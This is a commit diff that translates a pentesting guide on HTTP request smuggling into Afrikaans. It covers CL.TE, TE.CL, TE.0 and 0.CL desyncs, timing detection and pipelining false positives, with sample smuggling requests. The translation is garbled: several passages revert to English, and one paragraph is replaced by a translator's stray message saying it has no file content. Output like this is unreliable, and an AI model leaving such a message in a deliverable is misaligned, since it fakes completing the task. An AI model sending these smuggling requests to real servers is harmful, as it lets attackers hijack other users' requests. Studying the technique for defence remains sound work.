Translated ['src/pentesting-web/http-request-smuggling/README.md'] to af

2025-10-10 18:36:50 +00:00 · 2025-09-05 11:38:32 +00:00 · 2025-09-05 11:38:32 +00:00 · a358708184
commit a358708184
parent 0e7593452f
1 changed files with 171 additions and 172 deletions
--- a/src/pentesting-web/http-request-smuggling/README.md
+++ b/src/pentesting-web/http-request-smuggling/README.md
@ -5,8 +5,8 @@

 ## Wat is

-Hierdie kwesbaarheid ontstaan wanneer 'n **desynchronisasie** tussen **front-end proxies** en die **back-end** server 'n **attacker** toelaat om 'n HTTP **request** te **send** wat deur die **front-end** proxies (load balance/reverse-proxy) as 'n **single request** geïnterpreteer word en deur die **back-end** server as 2 requests.\
-Dit laat 'n gebruiker toe om die volgende **request** wat ná sy eie by die **back-end** server aankom, te wysig.
+Hierdie kwesbaarheid ontstaan wanneer 'n **desinchronisering** tussen **front-end proxies** en die **back-end** bediener 'n **aanvaller** toelaat om 'n HTTP **request** te **stuur** wat deur die **front-end** proxies (load balance/reverse-proxy) as 'n **enkele request** geïnterpreteer word en deur die **back-end** bediener as **2 requests**.\
+Dit stel 'n gebruiker in staat om die volgende request wat ná sy eie by die back-end bediener inkom, te **wysig**.

 ### Teorie

@ -16,64 +16,64 @@ Dit laat 'n gebruiker toe om die volgende **request** wat ná sy eie by die **ba

 **Content-Length**

-> Die Content-Length entity header dui die grootte van die entity-body, in bytes, wat aan die ontvanger gestuur word, aan.
+> The Content-Length entity header indicates the size of the entity-body, in bytes, sent to the recipient.

 **Transfer-Encoding: chunked**

-> Die Transfer-Encoding header spesifiseer die vorm van encoding wat gebruik word om die payload body veilig na die gebruiker oor te dra.\
-> Chunked beteken dat groot data in 'n reeks chunks gestuur word.
+> The Transfer-Encoding header specifies the form of encoding used to safely transfer the payload body to the user.\
+> Chunked means that large data is sent in a series of chunks

-### Realiteit
+### Werklikheid

-Die **Front-End** (n load-balance / Reverse Proxy) verwerk die _**Content-Length**_ of die _**Transfer-Encoding**_ header en die **Back-end** server verwerk die ander, wat 'n desynchronisasie tussen die twee stelsels veroorsaak.\
-Dit kan baie kritiek wees aangesien 'n **attacker** in staat sal wees om een **request** na die reverse proxy te stuur wat deur die **back-end** server as twee verskillende requests geïnterpreteer sal word. Die gevaar van hierdie tegniek lê daarin dat die **back-end** server die ingespuite 2de **request** asof dit van die volgende kliënt af kom sal interpreteer, en die werklike **request** van daardie kliënt deel van die ingespuite **request** sal wees.
+Die **Front-End** (n load-balancer / Reverse Proxy) verwerk óf die _**Content-Length**_ óf die _**Transfer-Encoding**_ header, en die **Back-end** bediener verwerk die ander een, wat 'n **desinchronisering** tussen die twee stelsels veroorsaak.\ Dit kan baie kritiek wees aangesien **'n aanvaller een request** aan die reverse proxy kan stuur wat deur die **back-end** bediener **as twee verskillende requests** geïnterpreteer word. Die **gevaar** van hierdie tegniek lê daarin dat die **back-end** bediener die **2de ingespuitde request** asof dit **van die volgende kliënt gekom het** sal interpreteer, en die werklike request van daardie kliënt deel van die ingespuitde request kan word.

 ### Besonderhede

-Onthou dat in HTTP **'n newline-karakter uit 2 bytes bestaan:**
+Onthou dat in HTTP **'n nuwe reël karakter uit 2 bytes bestaan:**

- **Content-Length**: Hierdie header gebruik 'n **desimale getal** om die **aantal** **bytes** van die **body** van die request aan te dui. Die body word verwag om in die laaste karakter te eindig; **'n nuwe reël is nie nodig aan die einde van die request nie**.
- **Transfer-Encoding:** Hierdie header gebruik in die **body** 'n **heksadesimale getal** om die **aantal** **bytes** van die **volgende chunk** aan te dui. Die **chunk** moet **eindig** met 'n **newline**, maar hierdie newline **word nie deur die lengte-aanwyser meegerek** nie. Hierdie oordragmetode moet eindig met 'n **chunk van grootte 0 gevolg deur 2 newlines**: `0`
- **Connection**: Gegrond op my ervaring is dit aanbeveel om **`Connection: keep-alive`** te gebruik op die eerste request van die request Smuggling.
+- **Content-Length**: Hierdie header gebruik 'n **desimale nommer** om die **aantal** **bytes** van die **body** van die request aan te dui. Die body word verwag om by die laaste karakter te eindig; **'n nuwe reël aan die einde van die request is nie nodig nie**.
+- **Transfer-Encoding:** Hierdie header gebruik in die **body** 'n **heksadesimale nommer** om die **aantal bytes** van die **volgende chunk** aan te dui. Die **chunk** moet met 'n **nuwe reël** eindig, maar hierdie reël word **nie** deur die lengte-aanwyser getel nie. Hierdie oordragmetode moet eindig met 'n **chunk van grootte 0 gevolg deur 2 nuwe reëls**: `0`
+- **Connection**: Gebaseer op ervaring word dit aanbeveel om **`Connection: keep-alive`** te gebruik op die eerste request van die request smuggling.

-### Visible - Hidden
+### Sigbaar - Verborgen

-Die hoofprobleem met HTTP/1.1 is dat al die requests oor dieselfde TCP-sok gestuur word, so as daar 'n verskil gevind word in hoe twee stelsels requests ontvang, is dit moontlik om een request te stuur wat deur die finale backend (of selfs intermediêre stelsels) as twee (of meer) verskillende requests beskou word.
+Die hoofprobleem met HTTP/1.1 is dat alle requests dieselfde TCP-sok gaan; dus as 'n verskil gevind word tussen twee stelsels wat requests ontvang, is dit moontlik om een request te stuur wat deur die finale backend (of selfs intermediêre stelsels) as twee verskillende requests (of meer) behandel word.

-**[This blog post](https://portswigger.net/research/http1-must-die)** stel nuwe maniere voor om desync-aanvalle te ontdek wat nie deur WAFs gevlag sal word nie. Hiervoor verduidelik dit die Visible vs Hidden gedrag. Die doel is om te probeer om diskrepansies in die response te vind met tegnieke wat moontlik desyncs veroorsaak sonder om werklik iets te eksploit.
+[This blog post](https://portswigger.net/research/http1-must-die) stel nuwe metodes voor om desync-aanvalle op 'n stelsel te ontdek wat nie deur WAFs gevlag sal word nie. Hiervoor word die Sigbaar vs Verborgen gedrag voorgestel. Die doel is om te probeer om skuiwings in die reaksie te vind deur tegnieke wat moontlik desyncs veroorsaak sonder om regtig iets te exploiteer.

-Byvoorbeeld, as jy 'n request stuur met die normale Host-header en nog 'n " host" header, en die backend kla oor hierdie request (miskien omdat die waarde van " host" verkeerd is), beteken dit moontlik dat die front-end nie die " host" header gesien het nie terwyl die finale backend dit wel gebruik het — dit wys 'n desync tussen front-end en backend.
+Byvoorbeeld: as 'n request met die normale Host-header en 'n " host" header gestuur word, en die backend kla oor hierdie request (miskien omdat die waarde van " host" verkeerd is), beteken dit moontlik dat die front-end nie oor die " host" header geweet het nie terwyl die finale backend dit wel gebruik het — hoogs waarskynlik wat 'n desync tussen front-end en backend aandui.

-Dit sou 'n **Hidden-Visible discrepancy** wees.
+Dit sou 'n **Verborgen-Sigbaar** verskil wees.

-As die front-end egter die " host" header in ag geneem het maar die backend nie, sou dit 'n **Visible-Hidden** situasie wees.
+As die front-end die " host" header in ag geneem het maar die backend nie, sou dit 'n **Sigbaar-Verborgen** situasie wees.

-Byvoorbeeld, dit het gehelp om desyncs te ontdek tussen AWS ALB as front-end en IIS as die backend. Toe "Host: foo/bar" gestuur is, het die ALB `400, Server; awselb/2.0` teruggestuur, maar toe "Host : foo/bar" gestuur is, het dit `400, Server: Microsoft-HTTPAPI/2.0` teruggestuur, wat aandui dat die backend die response stuur. Dit is 'n Hidden-Visible (H-V) situasie.
+Byvoorbeeld, dit het toegelaat om desyncs te ontdek tussen AWS ALB as front-end en IIS as die backend. Dit was omdat toe "Host: foo/bar" gestuur is, die ALB `400, Server; awselb/2.0` teruggestuur het, maar toe "Host : foo/bar" gestuur is, het dit `400, Server: Microsoft-HTTPAPI/2.0` teruggestuur, wat aandui dat die backend die response stuur. Dit is 'n Verborgen-Sigbaar (H-V) situasie.
+
+Let daarop dat hierdie situasie nie in AWS reggestel is nie, maar dit kan voorkom word deur `routing.http.drop_invalid_header_fields.enabled` en `routing.http.desync_mitigation_mode = strictest` te stel.

-Let wel dat hierdie situasie nie deur AWS reggestel is nie, maar dit kan voorkom word deur `routing.http.drop_invalid_header_fields.enabled` te stel en `routing.http.desync_mitigation_mode = strictest`.

 ## Basiese Voorbeelde

 > [!TIP]
-> Wanneer jy probeer om dit met Burp Suite te eksploit, deaktiveer asseblief **`Update Content-Length` en `Normalize HTTP/1 line endings`** in die repeater omdat sommige gadgets newlines, carriage returns en gemalformeerde content-lengths misbruik.
+> Wanneer jy probeer om dit met Burp Suite te exploiteer, deaktiveer asseblief `Update Content-Length` en `Normalize HTTP/1 line endings` in die repeater omdat sommige gadgets nuwe reëls, carriage returns en gemalformeerde content-lengths misbruik.

-HTTP request smuggling-aanvalle word vervaardig deur ambigue requests te stuur wat die diskrepansies uitbuit in hoe front-end en back-end servers die `Content-Length` (CL) en `Transfer-Encoding` (TE) headers interpreteer. Hierdie aanvalle kan in verskillende vorme voorkom, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van hoe die front-end en back-end servers hierdie headers prioritiseer. Die kwesbaarhede ontstaan omdat die servers dieselfde request verskillend verwerk, wat tot onvoorsiene en moontlik kwaadwillige uitkomste kan lei.
+HTTP request smuggling-aanvalle word saamgestel deur ambigue requests te stuur wat verskille uitbuit in hoe front-end en back-end servers die `Content-Length` (CL) en `Transfer-Encoding` (TE) headers interpreteer. Hierdie aanvalle kan in verskillende vorme manifesteer, hoofsaaklik as **CL.TE**, **TE.CL**, en **TE.TE**. Elke tipe verteenwoordig 'n unieke kombinasie van prioritering van hierdie headers deur die front-end en back-end servers. Die kwesbaarhede ontstaan omdat die servers dieselfde request op verskillende maniere verwerk, wat tot onverwagte en moontlik kwaadwillige uitkomste lei.

-### Basiese Voorbeelde van Kwesbaarheidstipes
+### Basiese Voorbeelde van Kwetsbaarheidstipes

 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> By die vorige tabel moet jy die TE.0 tegniek byvoeg, soortgelyk aan die CL.0 tegniek maar gebruik Transfer-Encoding.
+> By die vorige tabel behoort jy die TE.0-tegniek by te voeg, soortgelyk aan die CL.0-tegniek maar met Transfer-Encoding.

 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

 - **Front-End (CL):** Verwerk die request gebaseer op die `Content-Length` header.
 - **Back-End (TE):** Verwerk die request gebaseer op die `Transfer-Encoding` header.
- **Attack Scenario:**
+- **Aanvalsscenario:**

- Die attacker stuur 'n request waar die waarde van die `Content-Length` header nie met die werklike inhouds-lengte ooreenstem nie.
- Die front-end server stuur die hele request na die back-end op grond van die `Content-Length` waarde.
+- Die aanvaller stuur 'n request waar die waarde van die `Content-Length` header nie ooreenstem met die werklike lengte van die inhoud nie.
+- Die front-end server stuur die hele request deur na die back-end op grond van die `Content-Length` waarde.
 - Die back-end server verwerk die request as chunked weens die `Transfer-Encoding: chunked` header en interpreteer die oorblywende data as 'n aparte, daaropvolgende request.
 - **Voorbeeld:**

@ -94,11 +94,11 @@ Foo: x

 - **Front-End (TE):** Verwerk die request gebaseer op die `Transfer-Encoding` header.
 - **Back-End (CL):** Verwerk die request gebaseer op die `Content-Length` header.
- **Attack Scenario:**
+- **Aanvalsscenario:**

- Die attacker stuur 'n chunked request waar die chunk-grootte (`7b`) en die werklike content length (`Content-Length: 4`) nie ooreenstem nie.
+- Die aanvaller stuur 'n chunked request waar die chunkgrootte (`7b`) en die werklike content length (`Content-Length: 4`) nie ooreenstem nie.
 - Die front-end server, wat `Transfer-Encoding` eerbiedig, stuur die hele request na die back-end.
- Die back-end server, wat net `Content-Length` respekteer, verwerk slegs die aanvanklike deel van die request (`7b` bytes), en laat die res deel word van 'n onbedoelde daaropvolgende request.
+- Die back-end server, wat `Content-Length` eerbiedig, verwerk slegs die aanvanklike deel van die request (`7b` bytes), en laat die res oor as deel van 'n onbedoelde daaropvolgende request.
 - **Voorbeeld:**

 ```
@ -122,10 +122,10 @@ x=
 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

 - **Servers:** Albei ondersteun `Transfer-Encoding`, maar een kan mislei word om dit te ignoreer deur obfuskasie.
- **Attack Scenario:**
+- **Aanvalsscenario:**

- Die attacker stuur 'n request met obfuskteerde `Transfer-Encoding` headers.
- Afhangende van watter server (front-end of back-end) die obfuskasie nie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.
+- Die aanvaller stuur 'n request met obfuskeerde `Transfer-Encoding` headers.
+- Afhangend van watter server (front-end of back-end) die obfuskasie nie herken nie, kan 'n CL.TE of TE.CL kwesbaarheid uitgebuit word.
 - Die onverwerkte deel van die request, soos gesien deur een van die servers, word deel van 'n daaropvolgende request, wat tot smuggling lei.
 - **Voorbeeld:**

@ -148,8 +148,8 @@ Transfer-Encoding

 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- Albei servers verwerk die request uitsluitlik gebaseer op die `Content-Length` header.
- Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar belyning is in hoe beide servers die lengte van die request interpreteer.
+- Albei servers verwerk die request uitsluitlik op grond van die `Content-Length` header.
+- Hierdie scenario lei gewoonlik nie tot smuggling nie, aangesien daar samehorigheid is in hoe beide servers die lengte van die request interpreteer.
 - **Voorbeeld:**

 ```
@ -163,8 +163,8 @@ Normal Request

 #### **CL.0 Scenario**

- Verwys na scenarios waar die `Content-Length` header teenwoordig is en 'n waarde anders as nul het, wat aandui dat die request body inhoud het. Die back-end ignoreer die `Content-Length` header (wat as 0 behandel word), maar die front-end parse dit.
- Dit is belangrik vir die begrip en vervaardiging van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van 'n request bepaal.
+- Verwys na scenario's waar die `Content-Length` header teenwoordig is en 'n waarde anders as nul het, wat aandui dat die request body inhoud het. Die back-end ignoreer die `Content-Length` header (wat as 0 behandel word), maar die front-end ontleed dit.
+- Dit is belangrik om te verstaan vir die samestelling van smuggling-aanvalle, aangesien dit beïnvloed hoe servers die einde van 'n request bepaal.
 - **Voorbeeld:**

 ```
@ -178,7 +178,7 @@ Non-Empty Body

 #### TE.0 Scenario

- Soortgelyk aan die vorige, maar gebruik TE.
+- Soortgelyk aan die vorige maar gebruik TE.
 - Tegniek [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
 - **Voorbeeld**:
 ```
@ -198,9 +198,9 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### `0.CL` Situasie
+#### `0.CL` Skenario

-In 'n `0.CL` situasie word 'n versoek gestuur met 'n Content-Length soos:
+In 'n `0.CL` situasie word 'n request gestuur met 'n Content-Length soos:
 ```
 GET /Logon HTTP/1.1
 Host: <redacted>
@ -210,27 +210,27 @@ Content-Length:
 GET /404 HTTP/1.1
 X: Y
 ```
-En die front-end neem nie die `Content-Length` in ag nie, so dit stuur slegs die eerste request na die backend (tot die 7 in die voorbeeld). Die backend sien egter die `Content-Length` en wag vir 'n body wat nooit aankom nie, omdat die front-end reeds op die response wag.
+En die front-end neem nie die `Content-Length` in ag nie, dus stuur dit slegs die eerste request na die backend (tot die 7 in die voorbeeld). Die backend sien egter die `Content-Length` en wag vir 'n body wat nooit aankom nie omdat die front-end reeds op die response wag.

-As daar egter 'n request is wat moontlik na die backend gestuur kan word en waarop geantwoord word voordat die body van die request ontvang is, sal hierdie deadlock nie voorkom nie. In IIS gebeur dit byvoorbeeld wanneer versoeke na verbode name soos `/con` gestuur word (kyk na die [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), op hierdie manier sal die aanvanklike request direk beantwoord word en die tweede request sal die request van die victim bevat soos:
+As daar egter 'n request is wat moontlik na die backend gestuur kan word en waarvoor 'n response gegee word voordat die body van die request ontvang is, sal hierdie deadlock nie voorkom nie. In IIS gebeur dit byvoorbeeld wanneer 'n request na verbode name soos `/con` gestuur word (check die [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), op hierdie manier sal die aanvanklike request direk geantwoord word en die tweede request sal die request van die slagoffer bevat soos:
 ```
 GET / HTTP/1.1
 X: yGET /victim HTTP/1.1
 Host: <redacted>
 ```
-Dit is nuttig om 'n desync te veroorsaak, maar dit het tot nou toe geen uitwerking gehad nie.
+Dit is nuttig om 'n desync te veroorsaak, maar dit het tot dusver geen uitwerking nie.

-Die pos bied egter 'n oplossing hiervoor deur 'n **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)** om te skakel.
+However, the post offers a solution for this by converting a **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.

-#### Breek die webbediener
+#### Breaking the web server

-Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n webbediener te laat breek terwyl die aanvanklike HTTP-data gelees word, maar sonder om die verbinding te sluit. Op hierdie manier sal die **body** van die HTTP request as die **next HTTP request** beskou word.
+Hierdie tegniek is ook nuttig in scenario's waar dit moontlik is om 'n webbediener te breek terwyl die aanvanklike HTTP-data gelees word, maar sonder om die verbinding te sluit. Op hierdie manier sal die **body** van die HTTP request as die **next HTTP request** beskou word.

-Byvoorbeeld, soos uitgewerk in [**this writeup**](https://mizu.re/post/twisty-python), in Werkzeug was dit moontlik om sekere **Unicode**-karakters te stuur wat die bediener laat **break**. As die HTTP-verbinding egter geskep is met die header **`Connection: keep-alive`**, sal die body van die request nie gelees word nie en sal die verbinding steeds oop bly, sodat die **body** van die request as die **next HTTP request** behandel sal word.
+For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.

-#### Forsering via hop-by-hop headers
+#### Forcing via hop-by-hop headers

-Deur hop-by-hop headers te misbruik kan jy die proxy aanwys om die header Content-Length of Transfer-Encoding te **verwyder sodat 'n HTTP request smuggling misbruik moontlik is**.
+Deur hop-by-hop headers te misbruik kan jy die proxy aandui om **die header Content-Length of Transfer-Encoding te verwyder sodat 'n HTTP request smuggling moontlik uitgebuit kan word**.
 ```
 Connection: Content-Length
 ```
@ -243,13 +243,13 @@ For **meer inligting oor hop-by-hop headers** besoek:

 ## Opsporing van HTTP Request Smuggling

-Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bewerkstellig word met timing-tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes bestaan daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede op te spoor:
+Die identifisering van HTTP request smuggling-kwesbaarhede kan dikwels bereik word met tydgebaseerde tegnieke, wat staatmaak op die waarneming van hoe lank dit neem vir die bediener om op gemanipuleerde versoeke te reageer. Hierdie tegnieke is veral nuttig om CL.TE en TE.CL kwesbaarhede op te spoor. Benewens hierdie metodes is daar ander strategieë en gereedskap wat gebruik kan word om sulke kwesbaarhede te vind:

-### Opsporing van CL.TE-kwesbaarhede met timing-tegnieke
+### Finding CL.TE Vulnerabilities Using Timing Techniques

 - **Metode:**

- Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end-bediener sal dwing om op addisionele data te wag.
+- Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end bediener sal laat wag vir addisionele data.
 - **Voorbeeld:**

 ```
@ -265,18 +265,18 @@ A
 ```

 - **Waarneming:**
- Die front-end-bediener verwerk die versoek gebaseer op `Content-Length` en sny die boodskap te vroeg af.
- Die back-end-bediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.
+- Die front-end server verwerk die versoek gebaseer op `Content-Length` en kap die boodskap voortydig af.
+- Die back-end bediener, wat 'n chunked boodskap verwag, wag vir die volgende chunk wat nooit aankom nie, wat 'n vertraging veroorsaak.

- **Indikators:**
- Timeouts of lang vertraginge in die reaksie.
- Ontvangs van 'n 400 Bad Request fout vanaf die back-end-bediener, soms met gedetailleerde bedienerinligting.
+- **Aanwysers:**
+- Time-outs of lang vertraging in respons.
+- Ontvang van 'n 400 Bad Request fout vanaf die back-end bediener, soms met gedetaileerde bedienerinligting.

-### Opsporing van TE.CL-kwesbaarhede met timing-tegnieke
+### Finding TE.CL Vulnerabilities Using Timing Techniques

 - **Metode:**

- Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end-bediener sal dwing om op addisionele data te wag.
+- Stuur 'n versoek wat, as die toepassing kwesbaar is, die back-end bediener sal laat wag vir addisionele data.
 - **Voorbeeld:**

 ```
@ -291,23 +291,23 @@ X
 ```

 - **Waarneming:**
- Die front-end-bediener verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die volledige boodskap deur.
- Die back-end-bediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.
+- Die front-end server verwerk die versoek gebaseer op `Transfer-Encoding` en stuur die hele boodskap deur.
+- Die back-end bediener, wat 'n boodskap gebaseer op `Content-Length` verwag, wag vir addisionele data wat nooit aankom nie, wat 'n vertraging veroorsaak.

-### Ander metodes om kwesbaarhede op te spoor
+### Ander Metodes om Kwesbaarhede te Vind

- **Differential Response Analysis:**
- Stuur liggies verskillende weergawes van 'n versoek en let of die bedienerreaksies op 'n ongewone wyse verskil, wat 'n parsingsverskil aandui.
- **Gebruik van outomatiese gereedskap:**
- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' extension kan outomaties toets vir hierdie kwesbaarhede deur verskeie vorme van dubbelbetydige versoeke te stuur en die reaksies te analiseer.
- **Content-Length Variansetoetse:**
- Stuur versoeke met wisselende `Content-Length`-waardes wat nie in lyn is met die werklike inhoudslengte nie en kyk hoe die bediener sulke wanpassing hanteer.
- **Transfer-Encoding Variansetoetse:**
- Stuur versoeke met geobfusceerde of foutief gevormde `Transfer-Encoding` headers en monitor hoe die front-end en back-end bedieners verskillend op sulke manipulasies reageer.
+- **Differensiële antwoordanalise:**
+- Stuur effens veranderde weergawes van 'n versoek en kyk of die bediener se antwoorde onverwags verskil, wat 'n parsingsverskil aandui.
+- **Gebruik van geoutomatiseerde gereedskap:**
+- Gereedskap soos Burp Suite se 'HTTP Request Smuggler' extension kan outomaties vir hierdie kwesbaarhede toets deur verskeie vorme van dubbelzinnige versoeke te stuur en die antwoorde te analiseer.
+- **Content-Length variansietoetse:**
+- Stuur versoeke met wisselende `Content-Length` waardes wat nie met die werklike inhoudsduur ooreenstem nie en waarneem hoe die bediener sulke wanpassings hanteer.
+- **Transfer-Encoding variansietoetse:**
+- Stuur versoeke met versleutelde of verkeerd gevormde `Transfer-Encoding` koppe en monitor hoe die front-end en back-end bedieners op verskillende maniere op sulke manipulasies reageer.

 ### The `Expect: 100-continue` header

-Kyk hoe hierdie header kan help om 'n http desync uit te buit in:
+Kyk hoe hierdie kop kan help om 'n http desync te benut in:

 {{#ref}}
 ../../network-services-pentesting/pentesting-web/special-http-headers.md
@ -315,25 +315,25 @@ Kyk hoe hierdie header kan help om 'n http desync uit te buit in:

 ### HTTP Request Smuggling Kwesbaarheidstoetsing

-Nadat jy die doeltreffendheid van timing-tegnieke bevestig het, is dit noodsaaklik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te poison, byvoorbeeld om 'n versoek na `/` 'n 404 reaksie te laat lewer. Die `CL.TE` en `TE.CL` voorbeelde wat voorheen in [Basic Examples](#basic-examples) bespreek is, demonstreer hoe om 'n kliënt se versoek te poison sodat dit 'n 404 reaksie uitlok, ondanks dat die kliënt probeer om 'n ander hulpbron te bereik.
+Nadat die doeltreffendheid van tydgebaseerde tegnieke bevestig is, is dit belangrik om te verifieer of kliëntversoeke gemanipuleer kan word. 'n Eenvoudige metode is om te probeer om jou versoeke te vergiftig, byvoorbeeld om 'n versoek na `/` 'n 404-respons te laat teruggee. Die `CL.TE` en `TE.CL` voorbeelde wat vroeër in [Basic Examples](#basic-examples) bespreek is, demonstreer hoe om 'n kliënt se versoek te vergiftig om 'n 404-respons uit te lok, ondanks dat die kliënt 'n ander hulpbron probeer bereik.

 **Belangrike oorwegings**

-Wanneer jy toets vir request smuggling-kwesbaarhede deur met ander versoeke te inmeng, hou die volgende in gedagte:
+Wanneer jy toets vir request smuggling-kwesbaarhede deur met ander versoeke te inmeng, hou in gedagte:

- **Afsonderlike netwerkverbindings:** Die "attack" en "normal" versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik val nie as bewys dat die kwesbaarheid bestaan nie.
- **Konsekwente URL en parameters:** Mik om identiese URLs en parametername vir albei versoeke te gebruik. Moderne toepassings stuur versoeke dikwels na spesifieke back-end-bedieners gebaseer op URL en parameters. Om dit te laat ooreenstem verhoog die waarskynlikheid dat beide versoeke deur dieselfde bediener verwerk word, wat 'n voorvereiste is vir 'n suksesvolle attack.
- **Tyding en wedstrydtoestande:** Die "normal" versoek, bedoel om inmenging vanaf die "attack" versoek te detecteer, kompeteer met ander gelyktydige toepassingsversoeke. Daarom, stuur die "normal" versoek onmiddellik na die "attack" versoek. Besige toepassings mag meervoudige pogings vereis vir 'n afdoende bevestiging van 'n kwesbaarheid.
- **Load balancing-uitdagings:** Front-end bedieners wat as load balancers optree kan versoeke oor verskeie back-end-stelsels versprei. As die "attack" en "normal" versoeke op verskillende stelsels uitkom, sal die attack nie slaag nie. Hierdie aspek van load balancing mag verskeie pogings vereis om 'n kwesbaarheid te bevestig.
- **Onbedoelde gebruikersimpak:** As jou attack per ongeluk die versoek van 'n ander gebruiker (nie die "normal" versoek wat jy vir detectie gestuur het nie) affekteer, dui dit daarop dat jou attack 'n ander toepassinggebruiker beïnvloed het. Voortgesette toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.
+- **Afsonderlike netwerkverbindings:** Die "attack" en "normal" versoeke moet oor aparte netwerkverbindings gestuur word. Om dieselfde verbinding vir albei te gebruik, valideer nie die bestaan van die kwesbaarheid nie.
+- **Konstante URL en parameters:** Streef daarna om identiese URL's en parametername vir beide versoeke te gebruik. Moderne toepassings stuur dikwels versoeke na spesifieke back-end bedieners gebaseer op URL en parameters. Om dit te laat saamval verhoog die waarskynlikheid dat beide versoeke deur dieselfde bediener verwerk word, 'n voorvereiste vir 'n suksesvolle attack.
+- **Tyding en wedrenstoestande:** Die "normal" versoek, bedoel om foutversorging van die "attack" versoek op te spoor, kompeteer teen ander gelyktydige toepassingsversoeke. Stuur daarom die "normal" versoek onmiddellik ná die "attack" versoek. Besige toepassings mag verskeie probeerslae vereis vir 'n oortuigende bevestiging van die kwesbaarheid.
+- **Load Balancing-uitdagings:** Front-end bedieners wat as load balancers optree, kan versoeke oor verskeie back-end stelsels versprei. As die "attack" en "normal" versoeke op verskillende stelsels beland, sal die attack nie slaag nie. Hierdie load balancing-aspek kan verskeie poging vereis om 'n kwesbaarheid te bevestig.
+- **Onbedoelde gebruikersimpak:** As jou attack per ongeluk 'n ander gebruiker se versoek beïnvloed (nie die "normal" versoek wat jy vir opsporing gestuur het nie), dui dit aan dat jou attack 'n ander toepassingsgebruiker beïnvloed het. Konsekwente toetsing kan ander gebruikers ontwrig, wat 'n versigtige benadering vereis.

-## Onderskeiding tussen HTTP/1.1 pipelining-artefakte en werklike request smuggling
+## Onderskei HTTP/1.1 pipelining-artefakte vs egte request smuggling

-Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" veroorsaak in toetsgereedskap wat verskeie versoeke op dieselfde socket stuur. Leer om onskadelike kliëntkant-artefakte van werklike bedienerkant-desync te skei.
+Verbindingshergebruik (keep-alive) en pipelining kan maklik illusies van "smuggling" produseer in toetsgereedskap wat meerdere versoeke op dieselfde sok stuur. Leer om skadelose kliëntkant-artefakte van werklike bedienerkant desync te skei.

-### Waarom pipelining klassieke vals-positiewe veroorsaak
+### Waarom pipelining klassieke vals positiewe skep

-HTTP/1.1 hergebruik 'n enkele TCP/TLS-verbinding en koppel versoeke en reaksies op dieselfde stroom. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en staatmaak op reaksies in dieselfde volgorde. 'n Algemene vals-positief is om 'n foutief gevormde CL.0-styl payload twee keer op 'n enkele verbinding te stuur:
+HTTP/1.1 hergebruik 'n enkele TCP/TLS verbinding en koppel versoeke en antwoorde op dieselfde stroom aanmekaar. In pipelining stuur die kliënt verskeie versoeke agtereenvolgens en vertrou op antwoorde in volgorde. 'n Algemene vals-positief is om 'n verkeerd gevormde CL.0-styl payload twee keer op 'n enkele verbinding te herstuur:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -342,7 +342,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Stuur asseblief die inhoud van src/pentesting-web/http-request-smuggling/README.md wat jy vertaal wil hê.
+I don't have the file content. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md and I'll translate the English text to Afrikaans, preserving markdown, code, links and tags exactly as requested.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -356,7 +356,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-As die server die verkeerd gevormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desync nie. Met hergebruik het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het:
+As die server die verkeerd gevormde `Content_Length` geïgnoreer het, is daar geen FE↔BE desync nie. Met reuse het jou client eintlik hierdie byte-stream gestuur, wat die server as twee onafhanklike requests ontleed het:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -370,79 +370,78 @@ Content_Length: 47
